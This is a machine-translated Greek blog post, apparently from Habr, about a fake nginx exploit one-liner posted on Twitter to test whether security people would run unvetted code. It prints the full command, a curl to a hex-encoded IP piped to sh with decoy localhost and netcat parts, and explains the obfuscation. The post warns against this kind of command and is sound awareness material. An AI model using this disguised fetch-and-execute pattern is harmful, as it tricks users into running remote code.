Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx

Σημείωση. μετάφρ.: Συγγραφέας Το αρχικό σημείωμα, που δημοσιεύτηκε την 1η Ιουνίου, αποφάσισε να πραγματοποιήσει ένα πείραμα μεταξύ όσων ενδιαφέρονται για την ασφάλεια των πληροφοριών. Για να το κάνει αυτό, ετοίμασε ένα ψεύτικο exploit για μια άγνωστη ευπάθεια στον web server και το δημοσίευσε στο Twitter του. Οι υποθέσεις του - να εκτεθεί αμέσως από ειδικούς που θα έβλεπαν την προφανή εξαπάτηση στον κώδικα - όχι μόνο δεν έγιναν πραγματικότητα... Ξεπέρασαν κάθε προσδοκία και προς την αντίθετη κατεύθυνση: το tweet έλαβε τεράστια υποστήριξη από πολλούς ανθρώπους που δεν το έκαναν ελέγξτε το περιεχόμενό του.

Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx

TL;DR: Μην χρησιμοποιείτε τη διοχέτευση αρχείων σε sh ή bash σε καμία περίπτωση. Αυτός είναι ένας πολύ καλός τρόπος για να χάσετε τον έλεγχο του υπολογιστή σας.

Θέλω να μοιραστώ μαζί σας μια σύντομη ιστορία για ένα κόμικ PoC exploit που δημιουργήθηκε στις 31 Μαΐου. Εμφανίστηκε αμέσως ως απάντηση σε νέα από Alisa Esage Shevchenko, μέλος Πρωτοβουλία μηδενικής ημέρας (ZDI), ότι σύντομα θα αποκαλυφθούν πληροφορίες σχετικά με μια ευπάθεια στο NGINX που οδηγεί σε RCE (απομακρυσμένη εκτέλεση κώδικα). Δεδομένου ότι το NGINX τροφοδοτεί πολλούς ιστότοπους, τα νέα πρέπει να ήταν μια βόμβα. Αλλά λόγω καθυστερήσεων στη διαδικασία «υπεύθυνης αποκάλυψης», οι λεπτομέρειες του τι συνέβη δεν ήταν γνωστές - αυτή είναι η τυπική διαδικασία ZDI.

Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx
Τιτίβισμα σχετικά με την αποκάλυψη ευπάθειας στο NGINX

Έχοντας ολοκληρώσει την εργασία σε μια νέα τεχνική συσκότισης στο curl, παρέθεσα το αρχικό tweet και «διέρρευσα ένα λειτουργικό PoC» που αποτελείται από μια ενιαία γραμμή κώδικα που υποτίθεται ότι εκμεταλλεύεται την ευπάθεια που ανακαλύφθηκε. Φυσικά, αυτό ήταν πλήρης ανοησία. Υπέθεσα ότι θα εκτίθηκα αμέσως, και ότι στην καλύτερη περίπτωση θα έπαιρνα δυο retweets (ωχ καλά).

Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx
Τιτίβισμα με ψεύτικη εκμετάλλευση

Ωστόσο, δεν μπορούσα να φανταστώ τι συνέβη στη συνέχεια. Η δημοτικότητα του tweet μου εκτοξεύτηκε στα ύψη. Παραδόξως, αυτή τη στιγμή (15:00 ώρα Μόσχας, 1 Ιουνίου) λίγοι άνθρωποι έχουν συνειδητοποιήσει ότι πρόκειται για ψεύτικο. Πολλοί άνθρωποι το κάνουν retweet χωρίς να το ελέγχουν καθόλου (πόσο μάλλον να θαυμάζουν τα υπέροχα γραφικά ASCII που βγάζει).

Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx
Δείτε μόνο πόσο όμορφο είναι!

Αν και όλοι αυτοί οι βρόχοι και τα χρώματα είναι υπέροχα, είναι σαφές ότι οι άνθρωποι έπρεπε να εκτελέσουν κώδικα στον υπολογιστή τους για να τα δουν. Ευτυχώς, τα προγράμματα περιήγησης λειτουργούν με τον ίδιο τρόπο και σε συνδυασμό με το γεγονός ότι δεν ήθελα πραγματικά να μπω σε νομικά προβλήματα, ο κώδικας που ήταν θαμμένος στον ιστότοπό μου έκανε απλώς κλήσεις ηχούς χωρίς να προσπαθήσω να εγκαταστήσω ή να εκτελέσω πρόσθετο κώδικα.

Μικρή παρέκκλιση: netspooky, DNZ, εγώ και τα άλλα παιδιά από την ομάδα Thugcrowd Εδώ και λίγο καιρό παίζουμε με διαφορετικούς τρόπους για να αποκρύψουμε τις εντολές μπούκλας γιατί είναι ωραίο... και είμαστε geeks. Το netspooky και το dnz ανακάλυψαν αρκετές νέες μεθόδους που μου φάνηκαν εξαιρετικά υποσχόμενες. Συμμετείχα στη διασκέδαση και προσπάθησα να προσθέσω δεκαδικές μετατροπές IP στη τσάντα των κόλπων. Αποδεικνύεται ότι η IP μπορεί επίσης να μετατραπεί σε δεκαεξαδική μορφή. Επιπλέον, το curl και τα περισσότερα εργαλεία NIX τρώνε ευχάριστα τις δεκαεξαδικές IP! Επομένως, ήταν απλώς θέμα δημιουργίας μιας πειστικής και ασφαλούς γραμμής εντολών. Τελικά συμφώνησα σε αυτό:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Η κοινωνικο-ηλεκτρονική μηχανική (SEE) είναι κάτι περισσότερο από απλό ψάρεμα

Η ασφάλεια και η εξοικείωση ήταν ένα σημαντικό μέρος αυτού του πειράματος. Νομίζω ότι είναι που οδήγησαν στην επιτυχία του. Η γραμμή εντολών υπονοούσε ξεκάθαρα ασφάλεια κάνοντας αναφορά στο "127.0.0.1" (το γνωστό localhost). Το Localhost θεωρείται ασφαλές και τα δεδομένα σε αυτό δεν φεύγουν ποτέ από τον υπολογιστή σας.

Η εξοικείωση ήταν το δεύτερο βασικό στοιχείο SEE του πειράματος. Δεδομένου ότι το κοινό-στόχος αποτελούνταν κυρίως από άτομα εξοικειωμένα με τις βασικές αρχές της ασφάλειας των υπολογιστών, ήταν σημαντικό να δημιουργηθεί κώδικας ώστε μέρη του να φαίνονται οικεία και οικεία (και επομένως ασφαλή). Ο δανεισμός στοιχείων παλιών εννοιών του exploit και ο συνδυασμός τους με ασυνήθιστο τρόπο έχει αποδειχθεί πολύ επιτυχημένος.

Παρακάτω είναι μια λεπτομερής ανάλυση του one-liner. Τα πάντα σε αυτή τη λίστα φορούν καλλυντική φύση, και πρακτικά δεν απαιτείται τίποτα για την πραγματική λειτουργία του.

Ποια εξαρτήματα είναι πραγματικά απαραίτητα; Αυτό -gsS, -O 0x0238f06a, |sh και τον ίδιο τον web server. Ο διακομιστής web δεν περιείχε κακόβουλες οδηγίες, αλλά απλώς εξυπηρετούσε γραφικά ASCII χρησιμοποιώντας εντολές echo στο σενάριο που περιέχεται στο index.html. Όταν ο χρήστης εισήγαγε μια γραμμή με |sh στη μέση, index.html φορτώνεται και εκτελείται. Ευτυχώς, οι θεματοφύλακες του διακομιστή ιστού δεν είχαν κακές προθέσεις.

  • ../../../%00 — αντιπροσωπεύει την υπέρβαση του καταλόγου.
  • ngx_stream_module.so — διαδρομή προς μια τυχαία μονάδα NGINX.
  • /bin/sh%00<'protocol:TCP' - λανσάρουμε υποτίθεται /bin/sh στο μηχάνημα προορισμού και ανακατευθύνετε την έξοδο στο κανάλι TCP.
  • -O 0x0238f06a#PLToffset - μυστικό συστατικό, συμπληρωμένο #PLToffset, για να μοιάζει με μια μετατόπιση μνήμης που περιέχεται κατά κάποιο τρόπο στο PLT.
  • |sh; - ένα άλλο σημαντικό κομμάτι. Χρειαζόταν να ανακατευθύνουμε την έξοδο στο sh/bash για να εκτελέσουμε τον κώδικα που προέρχεται από τον επιτιθέμενο διακομιστή ιστού που βρίσκεται στο 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - ένα ομοίωμα στο οποίο αναφέρεται το netcat /dev/tcp/localhostώστε όλα να φαίνονται ξανά ασφαλή. Στην πραγματικότητα, δεν κάνει τίποτα και περιλαμβάνεται στη σειρά για ομορφιά.

Αυτό ολοκληρώνει την αποκωδικοποίηση του σεναρίου μιας γραμμής και τη συζήτηση των πτυχών της «κοινωνικής-ηλεκτρονικής μηχανικής» (σύνθετο phishing).

Διαμόρφωση διακομιστή Web και αντίμετρα

Δεδομένου ότι η συντριπτική πλειονότητα των συνδρομητών μου είναι infosec/hackers, αποφάσισα να κάνω τον διακομιστή ιστού λίγο πιο ανθεκτικό στις εκφράσεις «ενδιαφέροντος» από μέρους τους, μόνο και μόνο για να έχουν κάτι να κάνουν τα παιδιά (και θα ήταν διασκεδαστικό να στήνω). Δεν πρόκειται να απαριθμήσω όλες τις παγίδες εδώ, καθώς το πείραμα είναι ακόμα σε εξέλιξη, αλλά εδώ είναι μερικά πράγματα που κάνει ο διακομιστής:

  • Παρακολουθεί ενεργά τις προσπάθειες διανομής σε ορισμένα κοινωνικά δίκτυα και αντικαθιστά διάφορες μικρογραφίες προεπισκόπησης για να ενθαρρύνει τον χρήστη να κάνει κλικ στον σύνδεσμο.
  • Ανακατευθύνει το Chrome/Mozilla/Safari/κτλ στο προωθητικό βίντεο του Thugcrowd αντί να εμφανίζει το σενάριο του κελύφους.
  • Παρακολουθεί για προφανή σημάδια εισβολής/κατάφωρης εισβολής και, στη συνέχεια, αρχίζει να ανακατευθύνει αιτήματα στους διακομιστές της NSA (ha!).
  • Εγκαθιστά έναν Trojan, καθώς και ένα rootkit BIOS, σε όλους τους υπολογιστές των οποίων οι χρήστες επισκέπτονται τον κεντρικό υπολογιστή από ένα κανονικό πρόγραμμα περιήγησης (πλάκα!).

Η επιτυχία ενός κοινωνικού πειράματος με ένα ψεύτικο exploit για το nginx
Ένα μικρό μέρος αντιμερών

Σε αυτήν την περίπτωση, ο μόνος μου στόχος ήταν να κατακτήσω μερικά από τα χαρακτηριστικά του Apache - ιδιαίτερα, τους έξυπνους κανόνες για την ανακατεύθυνση αιτημάτων - και σκέφτηκα: γιατί όχι;

NGINX Exploit (πραγματικό!)

Εγγραφείτε στο @alisaesage στο Twitter και ακολουθήστε τη σπουδαία δουλειά της ZDI για την αντιμετώπιση πολύ πραγματικών τρωτών σημείων και την εκμετάλλευση ευκαιριών στο NGINX. Η δουλειά τους πάντα με γοήτευε και είμαι ευγνώμων στην Alice για την υπομονή της με όλες τις αναφορές και τις ειδοποιήσεις που προκάλεσε το ηλίθιο tweet μου. Ευτυχώς, έκανε επίσης καλό: βοήθησε στην αύξηση της ευαισθητοποίησης σχετικά με τα τρωτά σημεία του NGINX, καθώς και τα προβλήματα που προκαλούνται από την κατάχρηση της μπούκλας.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο